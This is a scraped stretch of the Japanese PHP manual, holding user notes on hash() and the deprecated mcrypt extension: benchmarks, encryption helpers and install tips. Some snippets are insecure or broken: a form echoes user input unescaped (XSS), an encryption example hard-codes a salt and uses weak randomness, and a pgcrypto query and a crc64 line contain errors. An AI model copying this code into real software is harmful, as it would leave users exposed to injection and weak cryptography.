var_dump(hexdec(hash('crc32b', 'string to check'))); // int(1206832624)
?>

PS: Just registering ... I have noticed here some tests where 'crc32' is slower than md5, AFAIK by definition a CRC32 algorithm (there are several algorithms to calculate CRC32) is faster than MD5 and Adler-32 is faster than CRC32 (CRC32 is more consistent than Adler-32, less consistent than MD5, but if you want to safely validate the recommended would be SHA256 or better yet SHA512 because they are less likely to collide, so less vulnerable to collision attacks)
jrz [dot] agarcia [at] gmail [dot] com 31-May-2018 07:22
I was curious about hashes behavior (time and length), so i ran this code (yeah, I'm cheating because i took two examples from this page)
<?php
  echo "Building data...";
  $data = "";
  for($i = 0; $i < 1500; $i++)
    $data .= sha1("H:k - $i - k:H");

  echo "OK! (".strlen($data)." bytes)".PHP_EOL;

  $res = [];

  echo "Testing hashes.....".PHP_EOL;

  foreach (hash_algos() as $algo) {
    $time = microtime(1);
    $hash = hash($algo, $data);
    $time = (microtime(1) - $time) * 1000;
    $length = strlen($hash);

    $res["$time"][] = [
      "algo"   => "HEX-$algo",
      "length" => "$length",
      "time"   => sprintf("%.8f", $time)
    ];

    $time = microtime(1);
    hash($algo, $data, 1);
    $time = (microtime(1) - $time) * 1000;

    $res["$time"][] = [
      "algo"   => "RAW-$algo",
      "length" => "$length",
      "time"   => sprintf("%.8f", $time)
    ];
  }

  ksort($res);
  $i = 0;

  echo "Results:".PHP_EOL;
  echo "Posit.      Time in ms   Type-Hash algo        Hash length".PHP_EOL;

  foreach($res as $sres){
    foreach($sres as $result){
      echo sprintf("%5d. %12s ms    %-20s %-2d bytes", $i++, $result['time'], $result['algo'], $result['length']).PHP_EOL;
    }
  }
?>

I found interesting that today (may 31, 2018), I found 103 algos, 65 more than 9 years ago (based on this comment: https://secure.php.net/manual/en/function.hash.php#89574 )

Also, here is my results: https://ideone.com/embed/0iwuGn

I'm not posting here due to message length limitations.
Hayley Watson 12-Jul-2017 12:13
These are hash functions. Some have been designed to act as signatures for documents, while others are simply act as checks that transmitted data hasn't been damaged or otherwise modified during transmission and don't provide any cryptographic features.

Learn their differences, and use what's appropriate, because using the wrong hash function can be worse than not using one at all.
Hayley Watson 11-Jul-2017 11:58
Of the hash algorithms currently available, SHA3 was chosen by NIST from fifty-one submitted candidates and subsequently mandated by the U.S. Department of Commerce for Federal Government use.

http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.202.pdf

So if you're wanting to select a hash algorithm, you can consider SHA3 to be "good enough for government work".
Nicolas Pamart 02-Jan-2015 12:47
Be carreful ! SHA256 return plain text string for empty field !!! empty function will not work ! Make a test before hash your POST.
buar42 at gmail dot com 29-Sep-2013 08:45
I made a PHP script that will let you sort all the available hashes on your system by generation time or by the length of the hash. It shows a general correlation on my system (longer hashes take longer to calculate) but some are faster than others, for example, sha512 makes the (joint) longest hash, but is actually only ninth slowest (from 43 hashes available on my machine)

As I understand it, the strength of a hash is dependant on the number of collisions that it has (where two input values produce the same hash) so with an infinite number of input values but a finite number of hashes, there are a (theoretically) infinite number of collisions. But, if you have a longer hash, then you're dividing infinity by a larger number, so you'll have fewer collisions.

In reality the number of collisions will be limited by the minimum and maximum password lengths that you choose to allow, so that if you enforce a policy where passwords must be exactly a certain length (20 characters for example) you'll have a large number of unique passwords, but a smaller number of potential inputs than you have hashes coming out, so that should prevent collisions entirely. In theory.

Tl;dr: I think that longer hashes are better.

Anyway, here's the code:
<?php

$data = "hello";

foreach (hash_algos() as $v)
 {
  $time=microtime(1);
  for ($i = 0; $i < 10000; $i++)
   {
    $r[$v] = strlen(hash($v, $data.$i, false));
   }
  $t[$v] = microtime(1)-$time;
 }

switch ($_GET['sort'])
 {
  default:
   ksort ($r);
   $array = 'r';
   break;
  case 'length':
   asort ($r);
   $array = 'r';
   break;
  case 'time':
   asort ($t);
   $array = 't';
   break;
 }

echo '<pre>        <a href="?sort=alph">Name</a>        | <a href="?sort=length">Hash Length</a> | <a href="?sort=time">Time taken for 10000 hashes.</a>'."\n";
foreach ($$array as $key => $value)
 {
  echo $key;
  for ($i = strlen ($key); $i <= 19; $i++)
   {
    echo ' ';
   }
  echo '| '.$r[$key];
  for ($i = strlen ($r[$key]); $i <= 11; $i++)
   {
    echo ' ';
   }
  echo '| '.$t[$key]."\n";
 }

echo '</pre>';

?>
me at akshayjoshi dot com 22-Mar-2013 03:00
Using luka8088 at gmail dot com's code on my laptop (PHP 5.4.4 on OS X), showing fastest 50 algorithms only:

Results:
   1.  adler32 (raw)                 3340.959 microseconds
   2.  adler32 (hex)                 3345.012 microseconds
   3.  fnv132 (raw)                  5178.928 microseconds
   4.  fnv164 (hex)                  5193.948 microseconds
   5.  md4 (raw)                     5207.061 microseconds
   6.  fnv132 (hex)                  5248.069 microseconds
   7.  fnv164 (raw)                  5290.985 microseconds
   8.  md4 (hex)                     5333.9 microseconds
   9.  tiger160,3 (raw)              5499.124 microseconds
  10.  tiger128,3 (hex)              5549.907 microseconds
  11.  tiger192,3 (raw)              5578.994 microseconds
  12.  tiger192,3 (hex)              5687.952 microseconds
  13.  tiger160,3 (hex)              5755.186 microseconds
  14.  tiger128,3 (raw)              5775.928 microseconds
  15.  crc32b (raw)                  6839.036 microseconds
  16.  crc32 (raw)                   6983.995 microseconds
  17.  crc32 (hex)                   7061.004 microseconds
  18.  crc32b (hex)                  7097.005 microseconds
  19.  joaat (raw)                   7505.893 microseconds
  20.  tiger160,4 (raw)              7548.093 microseconds
  21.  joaat (hex)                   7570.028 microseconds
  22.  tiger192,4 (raw)              7591.009 microseconds
  23.  tiger160,4 (hex)              7630.825 microseconds
  24.  tiger128,4 (hex)              7750.034 microseconds
  25.  tiger128,4 (raw)              7750.988 microseconds
  26.  sha1 (raw)                    8049.964 microseconds
  27.  tiger192,4 (hex)              8301.019 microseconds
  28.  haval128,3 (raw)              9046.792 microseconds
  29.  haval192,3 (raw)              9313.106 microseconds
  30.  haval224,3 (raw)              9315.013 microseconds
  31.  haval160,3 (raw)              9329.795 microseconds
  32.  haval256,3 (raw)              9404.182 microseconds
  33.  haval160,3 (hex)              9521.007 microseconds
  34.  md5 (raw)                     9599.924 microseconds
  35.  haval128,3 (hex)              9603.023 microseconds
  36.  haval192,3 (hex)              9624.004 microseconds
  37.  haval256,3 (hex)              9635.925 microseconds
  38.  haval224,3 (hex)              9652.853 microseconds
  39.  md5 (hex)                     9654.045 microseconds
  40.  haval256,4 (raw)              12173.891 microseconds
  41.  haval160,4 (raw)              12346.982 microseconds
  42.  haval256,4 (hex)              12598.037 microseconds
  43.  haval224,4 (hex)              12600.898 microseconds
  44.  haval128,4 (raw)              12680.053 microseconds
  45.  sha512 (raw)                  12681.961 microseconds
  46.  haval160,4 (hex)              12733.936 microseconds
  47.  sha384 (raw)                  12766.122 microseconds
  48.  haval192,4 (hex)              12813.091 microseconds
  49.  haval192,4 (raw)              12818.098 microseconds
  50.  haval128,4 (hex)              12836.933 microseconds

It seems that the adler32 algorithm has gotten a lot faster.
sneskid at hotmail dot com 14-Mar-2012 09:32
On two different servers I found that crc32() relates to hash('crc32b',)
This may be good to know if you are writing a crc32_file function based on hash_file.
(The example does not compensate for negative crc32 results)
<?php
$val = 'hello';
var_dump(crc32($val) == ( '0x' . hash('crc32b', $val) ) ); // bool(true)
var_dump(crc32($val) == ( '0x' . hash('crc32', $val) ) ); // bool(false)
?>

Also if you are looking for a way to reduce collisions and still keep the hash result small (smaller than say md5) you could get a nice database friendly 64 bit value by using hash/crc32 and hash/crc32b, which is slower than a single md5 but the result may be more suitable for certain tasks.
<?php
$val = 'hello';
$crc64 = ( '0x' . hash('crc32', $val) . hash('crc32b', $val) ) );
var_dump($crc64); // string(18) "0x3d6531193610a686"
var_dump($crc64 + 0); // int(4423996193312384646)
?>

(examples tested on php 5.2.17)
note: ('0x' . $hex . + 0) is faster than base_convert($hex,16,10)
nmmm at nmmm dot nu 20-Jul-2011 01:50
I was interested how "long" each hash is, so I did:

<?php
$data = "hello";

foreach (hash_algos() as $v) {
        $r = hash($v, $data, false);
        printf("%-12s %3d %s\n", $v, strlen($r), $r);
}
?>

which produce (long hashes are cropped)

md2           32 a9046c73e00331af68917d3804f70655
md4           32 866437cb7a794bce2b727acc0362ee27
md5           32 5d41402abc4b2a76b9719d911017c592
sha1          40 aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d
sha256        64 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e730
sha384        96 59e1748777448c69de6b800d7a33bbfb9ff1b463e44354c3553
sha512       128 9b71d224bd62f3785d96d46ad3ea3d73319bfbc2890caadae2d
ripemd128     32 789d569f08ed7055e94b4289a4195012
ripemd160     40 108f07b8382412612c048d07d13f814118445acd
ripemd256     64 cc1d2594aece0a064b7aed75a57283d9490fd5705ed3d66bf9a
ripemd320     80 eb0cf45114c56a8421fbcb33430fa22e0cd607560a88bbe14ce
whirlpool    128 0a25f55d7308eca6b9567a7ed3bd1b46327f0f1ffdc804dd8bb
tiger128,3    32 a78862336f7ffd2c8a3874f89b1b74f2
tiger160,3    40 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca
tiger192,3    48 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca39660254
tiger128,4    32 1c2a939f230ee5e828f5d0eae5947135
tiger160,4    40 1c2a939f230ee5e828f5d0eae5947135741cd0ae
tiger192,4    48 1c2a939f230ee5e828f5d0eae5947135741cd0aefeeb2adc
snefru        64 7c5f22b1a92d9470efea37ec6ed00b2357a4ce3c41aa6e28e3b
gost          64 a7eb5d08ddf2363f1ea0317a803fcef81d33863c8b2f9f6d7d1
adler32        8 062c0215
crc32          8 3d653119
crc32b         8 3610a686
haval128,3    32 85c3e4fac0ba4d85519978fdc3d1d9be
haval160,3    40 0e53b29ad41cea507a343cdd8b62106864f6b3fe
haval192,3    48 bfaf81218bbb8ee51b600f5088c4b8601558ff56e2de1c4f
haval224,3    56 92d0e3354be5d525616f217660e0f860b5d472a9cb99d6766be
haval256,3    64 26718e4fb05595cb8703a672a8ae91eea071cac5e7426173d4c
haval128,4    32 fe10754e0b31d69d4ece9c7a46e044e5
haval160,4    40 b9afd44b015f8afce44e4e02d8b908ed857afbd1
haval192,4    48 ae73833a09e84691d0214f360ee5027396f12599e3618118
haval224,4    56 e1ad67dc7a5901496b15dab92c2715de4b120af2baf661ecd92
haval256,4    64 2d39577df3a6a63168826b2a10f07a65a676f5776a0772e0a87
haval128,5    32 d20e920d5be9d9d34855accb501d1987
haval160,5    40 dac5e2024bfea142e53d1422b90c9ee2c8187cc6
haval192,5    48 bbb99b1e989ec3174019b20792fd92dd67175c2ff6ce5965
haval224,5    56 aa6551d75e33a9c5cd4141e9a068b1fc7b6d847f85c3ab16295
haval256,5    64 348298791817d5088a6de6c1b6364756d404a50bd64e645035f
rojaro at gmail dot com 15-Sep-2010 08:01
If the given algo parameter contains an algorithm that is not supported, the hash function will return bool(false) and issue a warning.
robert+nospam at robert-gonzalez dot com 17-Jan-2010 04:08
I've recently had the need to look at various hash algorithms and their values of the same string. To make my life a little easier I wrote this little script. It takes a string and runs it through all of the available hash algorithms on your server, outputting them in a clean little HTML table.

-----

<?php
/* Get the posted value of the form if there is one */
$p = empty($_POST['p']) ? null : $_POST['p'];
?>
<html>
<head><title>Hash testing</title></head>
<style type="text/css">
    table {border-collapse: collapse;}
    table, td, th {border: solid 1px #ccc;}
    th {background: #e1e1e1;border-color: #999;}
    td, th {padding: 0.25em;}
    td.algo {font-weight: bold;}
    tr.on td {background: #f0f0f0;}
</style>
<body>
    <h1>String hashing</h1>
    <form method="post" action="<?php echo basename(__FILE__) ?>">
        <p><label for="p">Enter a string to hash:</label><br /><input id="p" type="text" name="p" value="<?php echo $p ?>" /></p>
        <p><input type="submit" name="submit" value="Hash It" /></p>
    </form>

    <?php /* If there is a posted value use it */ ?>
    <?php if ($p): ?>
    <hr />
    <h2>Table of hash values for <em><?php echo $p ?></em> based on algorithm</h2>
    <table>
        <tr>
            <th>Algorithm</th>
            <th>Hashed value of <em><?php echo $p ?></em></th>
        </tr>
        <?php /* Loop through each hash algorithm, colorizing every other row */ ?>
        <?php $on = false; foreach (hash_algos() as $algo): ?>
        <tr<?php if ($on): ?> class="on"<?php endif; ?>>
            <td class="algo"><?php echo $algo ?></td>
            <td class="hash"><?php echo hash($algo, $p) ?></td>
        </tr>
    <?php $on = !$on; endforeach; ?>
    </table>
    <?php endif; ?>
</body>
</html>
Kai Petzke 16-Oct-2009 05:14
The well known hash functions MD5 and SHA1 should be avoided in new applications. Collission attacks against MD5 are well documented in the cryptographics literature and have already been demonstrated in practice. Therefore, MD5 is no longer secure for certain applications.

Collission attacks against SHA1 have also been published, though they still require computing power, which is somewhat out of scope. As computing power increases with time and the attacks are likely to get better, too, attacks against systems relying on SHA1 for security are likely to become feasible within the next few years.

There is no lack of potential alternative hash algorithms, as the many choices for the "algo" argument of PHPs hash() function already suggests. Unfortunately, there is lack of analysis, as to how secure these alternative algorithms are. It is rather safe to assume, though, that the SHA2 family with its most prominent members SHA-256 und SHA-512, is better than SHA1.

When storing password hashes, it is a good idea to prefix a salt to the password before hashing, to avoid the same passwords to hash to the same values and to avoid the use of rainbow tables for password recovery. Unlike suggested in other articles, there is no security advantage in putting the salt in the middle, or even at both the beginning and the end, of the combined salt-password-string.

Rather, there are two other factors, that determine the strength of the salt: Its length and its variability. For example, using the same salt for all passwords is easy to implement, but gives only very little additional security. In particular, if users type the same passwords, they will still hash to the same value!

Therefore, the salt should be random string with at least as many variable bits, as there are bits in the hash result. In the user database, store username, the randomly generated salt for that user, and the result of hashing the salt-password-string. Access authentication is then done by looking up the entry for the user, calculating the hash of the salt found in the database and the password provided by the user, and comparing the result with the one stored in the database.
luka8088 at gmail dot com 14-Mar-2009 03:20
Performance test results on my laptop:
Results are here shorten to fit php web notes ...
This was tested with 1024000 bytes (1000 KB) of random data, md4 always gets the first place, and md2 always get the last place :)

Results: (in microseconds)
   1.  md4                           5307.912
   2.  md5                           6890.058
   3.  crc32b                        7298.946
   4.  crc32                         7561.922
   5.  sha1                          8886.098
   6.  tiger128,3                    11054.992
   7.  haval192,3                    11132.955
   8.  haval224,3                    11160.135
   9.  tiger160,3                    11162.996
  10.  haval160,3                    11242.151
  11.  haval256,3                    11327.981
  12.  tiger192,3                    11630.058
  13.  haval128,3                    11880.874
  14.  tiger192,4                    14776.945
  15.  tiger128,4                    14871.12
  16.  tiger160,4                    14946.937
  17.  haval160,4                    15661.954
  18.  haval192,4                    15717.029
  19.  haval256,4                    15759.944
  20.  adler32                       15796.184
  21.  haval128,4                    15887.022
  22.  haval224,4                    16047.954
  23.  ripemd256                     16245.126
  24.  haval160,5                    17818.927
  25.  haval128,5                    17887.115
  26.  haval224,5                    18085.002
  27.  haval192,5                    18135.07
  28.  haval256,5                    18678.903
  29.  sha256                        19020.08
  30.  ripemd128                     20671.844
  31.  ripemd160                     21853.923
  32.  ripemd320                     22425.889
  33.  sha384                        45102.119
  34.  sha512                        45655.965
  35.  gost                          57237.148
  36.  whirlpool                     64682.96
  37.  snefru                        80352.783
  38.  md2                           705397.844

Code for generating this:
(compatible both with browser and cli mode)

<pre>

<?php

echo 'Building random data ...' . PHP_EOL;
@ob_flush();flush();

$data = '';
for ($i = 0; $i < 64000; $i++)
    $data .= hash('md5', rand(), true);

echo strlen($data) . ' bytes of random data built !' . PHP_EOL . PHP_EOL . 'Testing hash algorithms ...' . PHP_EOL;
@ob_flush();flush();

$results = array();
foreach (hash_algos() as $v) {
    echo $v . PHP_EOL;
    @ob_flush();flush();
    $time = microtime(true);
    hash($v, $data, false);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (hex)";
    $time = microtime(true);
    hash($v, $data, true);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (raw)";
}

ksort($results);

echo PHP_EOL . PHP_EOL . 'Results: ' . PHP_EOL;

$i = 1;
foreach ($results as $k => $v)
    foreach ($v as $k1 => $v1)
        echo ' ' . str_pad($i++ . '.', 4, ' ', STR_PAD_LEFT) . '  ' . str_pad($v1, 30, ' ') . ($k / 1000) . ' microseconds' . PHP_EOL;

?>

</pre>
Leigh 06-Aug-2008 10:10
Just a quick note about these benchmarks and how you should apply them.

If you are hashing passwords etc for security, speed is not your friend. You should use the slowest method.

Slow to hash means slow to crack and will hopefully make generating things like rainbow tables more trouble than it's worth.
inspiration3 at gmail dot com 04-May-2008 08:12
Another comprehensive benchmark script that orders results from best to worst and includes the crc32(), md5() and sha1() standalone functions:

<?php

define('HASH_TIMES', 1000);
define('HASH_DATA', 'The quick brown fox jumped over!'); // 32 bytes

header('Content-Type: text/plain');
echo 'Testing ' . strlen(HASH_DATA) . ' bytes of data over ' . HASH_TIMES . " iterations:\n";

foreach (hash_algos() as $algo) {
    $time = microtime(1);
    for ($i = 0; $i < HASH_TIMES; $i++) hash($algo, HASH_DATA);
    $results[$algo] = microtime(1) - $time;
}

$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) crc32(HASH_DATA); $results['crc32()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) md5(HASH_DATA); $results['md5()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) sha1(HASH_DATA); $results['sha1()'] = microtime(1) - $time;

asort($results, SORT_NUMERIC);
foreach ($results as $algo => $time) echo "\n$time\t$algo";

?>
Marcus 27-Apr-2008 05:15
A upgrade of (dani88elx AT gmail DOT com)'s performance test [from 26-Jun-2007], this time grading them by speed (fastest first) and comparing times between hex and raw data.

<?php
function testAlgos() {
$algos = hash_algos();
$word="This will be crypted by all different algoritms";
$results = array();
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, false);
    $results["".(microtime(1)-$time)][] = "$algo (hex)";
}
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, true);
    $results["".(microtime(1)-$time)][] = "$algo (raw)";
}
ksort($results);
foreach($results as $time => &$algos) {
    echo $time."\n";
    sort($algos);
    foreach($algos as $algo)
        echo "\t".$algo."\n";
}
}
testAlgos();
?>
mikael at webhost3 dot eu 10-Mar-2007 05:34
<?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', 'string');
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5('string');
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', 'string');
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1('string');
echo microtime(1)-$time,': sha1<br>';
?>------------------------<br><?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', $i);
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5($i);
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', $i);
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1($i);
echo microtime(1)-$time,': sha1<br>';
?>
Gives:
0.33311605453491: hash/md5
1.0671429634094: md5
0.383131980896: hash/sha1
1.3252220153809: sha1
------------------------
0.37684988975525: hash/md5
1.1258299350739: md5
0.43960785865784: hash/sha1
1.3876020908356: sha1


Mcrypt

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Mcrypt 暗号
  • 例
  • Mcrypt 関数
    • mcrypt_cbc — CBC モードでデータを暗号化/復号する
    • mcrypt_cfb — CFB モードでデータを暗号化/復号する
    • mcrypt_create_iv — Creates an initialization vector (IV) from a random source
    • mcrypt_decrypt — Decrypts crypttext with given parameters
    • mcrypt_ecb — 非推奨: ECB モードでデータを暗号化/復号する
    • mcrypt_enc_get_algorithms_name — Returns the name of the opened algorithm
    • mcrypt_enc_get_block_size — Returns the blocksize of the opened algorithm
    • mcrypt_enc_get_iv_size — オープンされたアルゴリズムの IV の大きさを返す
    • mcrypt_enc_get_key_size — オープンされたモードでサポートされる最大キー長を返す
    • mcrypt_enc_get_modes_name — オープンされたモードの名前を返す
    • mcrypt_enc_get_supported_key_sizes — オープンされたアルゴリズムでサポートされるキー長を配列にして返す
    • mcrypt_enc_is_block_algorithm_mode — オープンされたモードの暗号がブロックモードで動作するかどうかを調べる
    • mcrypt_enc_is_block_algorithm — オープンされたモードの暗号がブロックアルゴリズムであるかどうかを調べる
    • mcrypt_enc_is_block_mode — オープンされたモードがブロック出力を行うかどうかを調べる
    • mcrypt_enc_self_test — オープンしたモジュールのセルフテストを実行する
    • mcrypt_encrypt — 指定したパラメータでプレーンテキストを暗号化する
    • mcrypt_generic_deinit — 暗号化モジュールを終了する
    • mcrypt_generic_end — 暗号処理を終了する
    • mcrypt_generic_init — 暗号化に必要な全てのバッファを初期化する
    • mcrypt_generic — データを暗号化する
    • mcrypt_get_block_size — 指定した暗号のブロックサイズを得る
    • mcrypt_get_cipher_name — 指定した暗号の名前を得る
    • mcrypt_get_iv_size — 指定した暗号/モードの組み合わせに属する IV の大きさを返す
    • mcrypt_get_key_size — 指定した暗号のキーの長さを得る
    • mcrypt_list_algorithms — サポートされる全ての暗号を配列として取得する
    • mcrypt_list_modes — サポートされる全てのモードの配列を取得する
    • mcrypt_module_close — mcrypt モジュールを閉じる
    • mcrypt_module_get_algo_block_size — 指定したアルゴリズムのブロック長を返す
    • mcrypt_module_get_algo_key_size — オープンされたモードでサポートされる最大キー長を返す
    • mcrypt_module_get_supported_key_sizes — オープンされたアルゴリズムでサポートされるキーのサイズを配列として返す
    • mcrypt_module_is_block_algorithm_mode — 指定したモジュールがブロックアルゴリズムであるかどうかを返す
    • mcrypt_module_is_block_algorithm — 指定したアルゴリズムがブロックアルゴリズムであるかを調べる
    • mcrypt_module_is_block_mode — 指定したモードがブロック出力を行うかどうかを返す
    • mcrypt_module_open — 使用するアルゴリズムおよびモードのモジュールをオープンする
    • mcrypt_module_self_test — 指定したモジュールのセルフテストを実行する
    • mcrypt_ofb — OFB モードでデータを暗号化/復号する
    • mdecrypt_generic — データを復号する

User Contributed Notes

zelnaga at gmail dot com 25-Jul-2019 09:02
If you're wanting to use mcrypt on a newer version of PHP where it's been deprecated try the shim for it instead:

https://github.com/phpseclib/mcrypt_compat
nishanth at sintheetaa dot in 05-Apr-2018 10:33
Issue Solved when installing php7.2-mcrypt

I was also facing the same issue. Check this link https://stackoverflow.com/q/48275494/7713811 to get the right solution for installing it in PHP
Kyle T 14-Nov-2017 09:41
This was posted before by another user but has been downvoted. I just wanted to confirm that we suffered massive performance issues related to mcrypt on CentOS (PHP 5.6.32) that are not present in other flavors of Linux.

A sampling of 25,000 encrypts/decrypts takes 4-5x longer when running mcrypt on Centos 7 as compared to Ubuntu. Switching out mcrypt for OpenSSL on Centos will result in a massive increase in performance.

For lower traffic website it can be negligible, but when you start seeing significant traffic/load it will quickly bring down a server.
Daniel Esteve 28-Dec-2016 11:06
The Mcrypt library has been declared DEPRECATED since PHP 7.1, to use in its OpenSSL
simonhf at gmail dot com 23-Jun-2015 11:54
Note that there are severe performance problems with PHP mcrypt on many CentOS versions. Please see this CentOS bug:
http://bugs.centos.org/view.php?id=8954
Anonymous 12-Feb-2012 10:35
These are two simple functions I built for 256-bit encryption/decryption with mcrypt.  I've decided to use MCRYPT_RIJNDAEL_128 because it's AES-compliant, and MCRYPT_MODE_CBC.  (ECB mode is inadequate for many purposes because it does not use an IV.)

This function stores a hash of the data to verify that the data was decrypted successfully, but this could be easily removed if necessary.

<?php
function encrypt($decrypted, $password, $salt='!kQm*fF3pXe1Kbm%9') {
 // Build a 256-bit $key which is a SHA256 hash of $salt and $password.
 $key = hash('SHA256', $salt . $password, true);
 // Build $iv and $iv_base64.  We use a block size of 128 bits (AES compliant) and CBC mode.  (Note: ECB mode is inadequate as IV is not used.)
 srand(); $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_RAND);
 if (strlen($iv_base64 = rtrim(base64_encode($iv), '=')) != 22) return false;
 // Encrypt $decrypted and an MD5 of $decrypted using $key.  MD5 is fine to use here because it's just to verify successful decryption.
 $encrypted = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $decrypted . md5($decrypted), MCRYPT_MODE_CBC, $iv));
 // We're done!
 return $iv_base64 . $encrypted;
 }

function decrypt($encrypted, $password, $salt='!kQm*fF3pXe1Kbm%9') {
 // Build a 256-bit $key which is a SHA256 hash of $salt and $password.
 $key = hash('SHA256', $salt . $password, true);
 // Retrieve $iv which is the first 22 characters plus ==, base64_decoded.
 $iv = base64_decode(substr($encrypted, 0, 22) . '==');
 // Remove $iv from $encrypted.
 $encrypted = substr($encrypted, 22);
 // Decrypt the data.  rtrim won't corrupt the data because the last 32 characters are the md5 hash; thus any \0 character has to be padding.
 $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, base64_decode($encrypted), MCRYPT_MODE_CBC, $iv), "\0\4");
 // Retrieve $hash which is the last 32 characters of $decrypted.
 $hash = substr($decrypted, -32);
 // Remove the last 32 characters from $decrypted.
 $decrypted = substr($decrypted, 0, -32);
 // Integrity check.  If this fails, either the data is corrupted, or the password/salt was incorrect.
 if (md5($decrypted) != $hash) return false;
 // Yay!
 return $decrypted;
 }
?>
ghoffman at salientdigital dot com 23-Nov-2010 01:23
If you want a quick way to see what ciphers, modes, key, block and iv sizes are supported on your server, try something like the following.

Note: I used this simple bash: `locate libmcrypt` from terminal on Mac OS X to determine the install paths to the algorithms and modes directories. Lots of function calls generate warnings for certain ciphers, hence the use of error suppression.

<?php

$modes = mcrypt_list_modes();
$algorithms = mcrypt_list_algorithms();
foreach($algorithms as $cipher)
{
    echo "<h1 style=\"border-top:1px solid black;\">".$cipher."</h1>\n";
    foreach($modes as $mode)
    {
        echo "<h3>".$mode."</h3>\n";
        @$td = mcrypt_module_open(
            $cipher,
            '/usr/local/libmcrypt-2.5.8/modules/algorithms/',
            $mode,
            '/usr/local/libmcrypt-2.5.8/modules/modes/');
        @$key_size = mcrypt_enc_get_key_size($td);
        @$block_size = mcrypt_get_block_size($cipher,$mode);
        @$iv_size = mcrypt_get_iv_size($cipher, $mode);
        @mcrypt_module_close($td);
        echo "
        <pre>
            key_size: ". ($key_size?$key_size:'n/a')
      ."    block_size: ". ($block_size?$block_size:'n/a')
      ."    iv_size: ". ($iv_size?$iv_size:'n/a')
      ."  </pre>\n";
        $td=NULL;
        $key_size=NULL;
        $block_size=NULL;
        $iv_size=NULL;
    }
}

?>
Maarten Malaise 11-Apr-2010 05:38
people using phpmyadmin are redirected to this manual if they don't have mcrypt installed. If you want to install mcrypt on debian, first check your php version:

yourserver# php --version

Then install the appropriate version of mcrypt (php5-mcrypt if your php version is 5.x)

yourserver# apt-get install php4-mcrypt
...or...
yourserver# apt-get install php5-mcrypt


はじめに

警告

この機能は PHP 7.1.0 で 非推奨 となり、 PHP 7.2.0 で削除 されました。

この機能の代替として、これらが使えます。

  • Sodium (PHP 7.2.0から利用可能)
  • OpenSSL

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 7.2.0.

この関数は、CBC, OFB, CFB, ECB 暗号モードの DES, TripleDES, Blowfish (デフォルト), 3-WAY, SAFER-SK64, SAFER-SK128, TWOFISH, TEA, RC2 , GOST のような広範なブロックアルゴリズムをサポートする mcrypt ライブラリへのインターフェイスです。加えて、"フリーではない" とされている RC6 および IDEA もサポートします。 CFB 及び OFB は既定では 8bit です。

User Contributed Notes

enclaved 10-Aug-2017 02:36
Avoiding mcrypt is only half of the advice. The other half: NEVER do crypto in PHP in the first place! It is a very sloppy and most likely insecure enterprise. If you think you need PHP-based crypto to do something, then be advised that this fact is an alarming signal that something about your application design is very wrong. PHP is neither the right tool nor the right environment for cryptography. Just remember this single rule of thumb: cryptographic secrets must never cross subsystem/layer boundaries:

    Database <-- ! --> CGI program <-- ! --> HTTP server

Cryptographic tasks are performed either by the HTTP server (e.g. authentication of users with client SSL certificates) or the RDBMS (e.g. password-based access to data), and these tasks must be ENCAPSULATED inside the facility, self-contained. For example, if you store KDF-derived digests of passwords in an SQL database, you must NOT compare digests in PHP, but only in SQL queries or stored procedures. Once produced and put into the database, a password digest (or any other sensitive data) must not exit it in any way as-is, be it a SELECT query or some other way, that is considered a leak in the cryptosystem. Use ONLY database-provided means to perform any crypto operations.

As PostgreSQL is the usual database of choice for technically advanced and sound WWW or intranet sites, my advice is to use its pgcrypto extension, it is mature, well-tested, and has all the right tools. Here's a textbook password handling example to illustrate how secrets can be confined within the database layer without extracting them into the PHP layer. Password digest derivation and storing:

    INSERT INTO account (digest) VALUES (crypt('password', gen_salt('bf'));

Verification:

    SELECT digest = crypt('password', gen_salt(digest)) FROM account;

Exceptionally simple, elegant, clean, and secure (Blowfish is more than enough for user-set passwords), isn't it? And the best part about it: no PHP involved in crypto!
info at neutrosolutions dot com 05-May-2017 07:07
On AWS Amazon Linux if you are using php 7.0.X version
then please use this command to install mcrypt library.

[ec2-user@12.123.123.123 ~] sudo yum install php70-mcrypt
c dot light93 at gmail dot com 24-May-2015 08:04
if you get a "The mcrypt extension is missing" alert somewhere, use
"sudo php5enmod mcrypt" and restart your server to enable it.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

karan at world dot com 12-Nov-2018 11:41
For PHP-7 UNIX Server use this

sudo apt-get install mcrypt php7.0-mcrypt

sudo service apache2 restart
nishanth at sintheetaa dot in 05-Apr-2018 10:16
